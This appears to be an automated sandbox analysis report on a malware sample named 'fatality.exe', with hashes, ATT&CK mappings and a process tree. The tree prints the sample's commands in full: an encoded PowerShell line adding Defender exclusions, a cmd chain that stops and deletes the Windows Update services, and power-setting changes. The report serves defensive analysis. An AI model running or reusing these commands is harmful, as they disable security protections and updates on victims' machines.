c019c0bfca1472b8ebdf79019f2b0e70f98e4955912f7ae7e3a89c35fddd3c36

General

Target

fatality.exe
Size

4.4MB
MD5

96730495621816d6e5082a95574bd9d5
SHA1

b62168945da2966f4c4122f49df0e0ba5751ec0a
SHA256

e7ea0aaed1c2dea3cda5661fd66693909f63f1978bf07d25d90e6a5cfd310ef0
SHA512

a7ea21f0b8501ea0e00b6f01c6b2ea433f34129e1379e5ba877d81d1be15e9c128c3b4c7f911241ca82d14dbd8aacaf0f03d919a77826074c0ce2f57216d80b1
SSDEEP

98304:hU4R+GsvqbiXke/i06xLTDqGg9hGzkI5GYsgd1N9RZxxlgu:uOmvqbiU0iDZTDI9AzkI56gdz9RXL

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

452 takeown.exe
884 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 2 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

452 takeown.exe
884 icacls.exe

pid	process
452	takeown.exe
884	icacls.exe

pid	process
452	takeown.exe
884	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

1420 sc.exe
1820 sc.exe
1688 sc.exe
1116 sc.exe
544 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry key 1 TTPs 5 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exe

pid process

1132 reg.exe
1872 reg.exe
2040 reg.exe
840 reg.exe
1724 reg.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1992 powershell.exe

pid	process
1420	sc.exe
1820	sc.exe
1688	sc.exe
1116	sc.exe
544	sc.exe

pid	process
1132	reg.exe
1872	reg.exe
2040	reg.exe
840	reg.exe
1724	reg.exe

pid	process
1992	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exe

description	pid	process
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeShutdownPrivilege	1124	powercfg.exe
Token: SeShutdownPrivilege	1028	powercfg.exe
Token: SeShutdownPrivilege	1168	powercfg.exe
Token: SeShutdownPrivilege	1208	powercfg.exe
Token: SeTakeOwnershipPrivilege	452	takeown.exe

Suspicious use of WriteProcessMemory 57 IoCs

Processes:

fatality.execmd.execmd.exe

description	pid	process	target process
PID 2012 wrote to memory of 1992	2012	fatality.exe	powershell.exe
PID 2012 wrote to memory of 1992	2012	fatality.exe	powershell.exe
PID 2012 wrote to memory of 1992	2012	fatality.exe	powershell.exe
PID 2012 wrote to memory of 1476	2012	fatality.exe	cmd.exe
PID 2012 wrote to memory of 1476	2012	fatality.exe	cmd.exe
PID 2012 wrote to memory of 1476	2012	fatality.exe	cmd.exe
PID 2012 wrote to memory of 1440	2012	fatality.exe	cmd.exe
PID 2012 wrote to memory of 1440	2012	fatality.exe	cmd.exe
PID 2012 wrote to memory of 1440	2012	fatality.exe	cmd.exe
PID 1476 wrote to memory of 1116	1476	cmd.exe	sc.exe
PID 1476 wrote to memory of 1116	1476	cmd.exe	sc.exe
PID 1476 wrote to memory of 1116	1476	cmd.exe	sc.exe
PID 1440 wrote to memory of 1124	1440	cmd.exe	powercfg.exe
PID 1440 wrote to memory of 1124	1440	cmd.exe	powercfg.exe
PID 1440 wrote to memory of 1124	1440	cmd.exe	powercfg.exe
PID 1476 wrote to memory of 544	1476	cmd.exe	sc.exe
PID 1476 wrote to memory of 544	1476	cmd.exe	sc.exe
PID 1476 wrote to memory of 544	1476	cmd.exe	sc.exe
PID 1476 wrote to memory of 1420	1476	cmd.exe	sc.exe
PID 1476 wrote to memory of 1420	1476	cmd.exe	sc.exe
PID 1476 wrote to memory of 1420	1476	cmd.exe	sc.exe
PID 1440 wrote to memory of 1028	1440	cmd.exe	powercfg.exe
PID 1440 wrote to memory of 1028	1440	cmd.exe	powercfg.exe
PID 1440 wrote to memory of 1028	1440	cmd.exe	powercfg.exe
PID 1476 wrote to memory of 1820	1476	cmd.exe	sc.exe
PID 1476 wrote to memory of 1820	1476	cmd.exe	sc.exe
PID 1476 wrote to memory of 1820	1476	cmd.exe	sc.exe
PID 1476 wrote to memory of 1688	1476	cmd.exe	sc.exe
PID 1476 wrote to memory of 1688	1476	cmd.exe	sc.exe
PID 1476 wrote to memory of 1688	1476	cmd.exe	sc.exe
PID 1440 wrote to memory of 1168	1440	cmd.exe	powercfg.exe
PID 1440 wrote to memory of 1168	1440	cmd.exe	powercfg.exe
PID 1440 wrote to memory of 1168	1440	cmd.exe	powercfg.exe
PID 1476 wrote to memory of 1872	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 1872	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 1872	1476	cmd.exe	reg.exe
PID 1440 wrote to memory of 1208	1440	cmd.exe	powercfg.exe
PID 1440 wrote to memory of 1208	1440	cmd.exe	powercfg.exe
PID 1440 wrote to memory of 1208	1440	cmd.exe	powercfg.exe
PID 1476 wrote to memory of 2040	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 2040	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 2040	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 840	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 840	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 840	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 1724	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 1724	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 1724	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 1132	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 1132	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 1132	1476	cmd.exe	reg.exe
PID 1476 wrote to memory of 452	1476	cmd.exe	takeown.exe
PID 1476 wrote to memory of 452	1476	cmd.exe	takeown.exe
PID 1476 wrote to memory of 452	1476	cmd.exe	takeown.exe
PID 1476 wrote to memory of 884	1476	cmd.exe	icacls.exe
PID 1476 wrote to memory of 884	1476	cmd.exe	icacls.exe
PID 1476 wrote to memory of 884	1476	cmd.exe	icacls.exe

C:\Users\Admin\AppData\Local\Temp\fatality.exe
"C:\Users\Admin\AppData\Local\Temp\fatality.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AeQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AdQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBzAGYAdQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB4AGUAIwA+AA=="
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1992

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:1476

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:1116

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:544

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1420

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:1820

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1688

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:1872

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:2040

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:840

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:1724

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:1132

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:452

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:884

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:1440

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1124

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1028

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1168

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1208

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

2

T1031

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

Impair Defenses

Modify Registry

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

1

T1489

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Downloads

memory/452-81-0x0000000000000000-mapping.dmp

Download
memory/544-69-0x0000000000000000-mapping.dmp

Download
memory/840-78-0x0000000000000000-mapping.dmp

Download
memory/884-82-0x0000000000000000-mapping.dmp

Download
memory/1028-71-0x0000000000000000-mapping.dmp

Download
memory/1116-67-0x0000000000000000-mapping.dmp

Download
memory/1124-68-0x0000000000000000-mapping.dmp

Download
memory/1132-80-0x0000000000000000-mapping.dmp

Download
memory/1168-74-0x0000000000000000-mapping.dmp

Download
memory/1208-76-0x0000000000000000-mapping.dmp

Download
memory/1420-70-0x0000000000000000-mapping.dmp

Download
memory/1440-66-0x0000000000000000-mapping.dmp

Download
memory/1476-65-0x0000000000000000-mapping.dmp

Download
memory/1688-73-0x0000000000000000-mapping.dmp

Download
memory/1724-79-0x0000000000000000-mapping.dmp

Download
memory/1820-72-0x0000000000000000-mapping.dmp

Download
memory/1872-75-0x0000000000000000-mapping.dmp

Download
memory/1992-64-0x000000000258B000-0x00000000025AA000-memory.dmp

Filesize
124KB

Download
memory/1992-63-0x0000000002584000-0x0000000002587000-memory.dmp

Filesize
12KB

Download
memory/1992-62-0x000000000258B000-0x00000000025AA000-memory.dmp

Filesize
124KB

Download
memory/1992-61-0x000000001B730000-0x000000001BA2F000-memory.dmp

Filesize
3.0MB

Download
memory/1992-59-0x000007FEECEB0000-0x000007FEEDA0D000-memory.dmp

Filesize
11.4MB

Download
memory/1992-60-0x0000000002584000-0x0000000002587000-memory.dmp

Filesize
12KB

Download
memory/1992-58-0x000007FEEDA10000-0x000007FEEE433000-memory.dmp

Filesize
10.1MB

Download
memory/1992-56-0x0000000000000000-mapping.dmp

Download
memory/2012-54-0x000000013FA70000-0x000000013FED0000-memory.dmp

Filesize
4.4MB

Download
memory/2012-55-0x000007FEFC371000-0x000007FEFC373000-memory.dmp

Filesize
8KB

Download
memory/2040-77-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads